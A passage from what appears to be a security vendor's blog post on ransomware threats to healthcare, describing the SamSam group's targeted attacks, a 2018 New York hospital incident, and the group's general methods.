This includes the likes of unauthorized access or disclosures of patient data, hacking, theft of data, data loss and more. Bottom line, if you’re tasked with protecting any entity operating in the healthcare sector, you’re likely experiencing some very sleepless nights — and may just need a doctor yourself. So . . . who’s wreaking all this havoc and how? According to AlienVault Labs, opportunistic ransomware is still a preferred method of attack. However, researchers are reporting a rise in the number of targeted ransomware attacks in the healthcare sector. These attacks are often backed by organized criminals who see opportunities for making money from healthcare providers and other similar entities who must protect and keep assets, systems, and networks continuously operating. One such criminal group operating the SamSam ransomware is thought to have earned more than $5 million dollars by manually compromising critical healthcare networks (see below for more info). The group behind SamSam has invested heavily in their operations (likely an organized crime syndicate) and has won the distinction of being the subjects of two FBI Alerts in 2018. And, according to AlienVault Labs, the methods used by SamSam are more akin to a targeted attack than typical opportunistic ransomware. SamSam attacks also seem to go in waves. One of the most notable was a spring 2018 hit on a large New York hospital which publicly declined to pay the attacker’s $44,000 ransomware demand. It took a month for the hospital’s IT system to be fully restored.   SamSam attackers are known to: Gain remote access through traditional attacks, such as JBoss exploits Deploy web-shells Connect to RDP over HTTP tunnels such as ReGeorg Run batch scripts to deploy the ransomware over machines SamSam isn’t going away either.
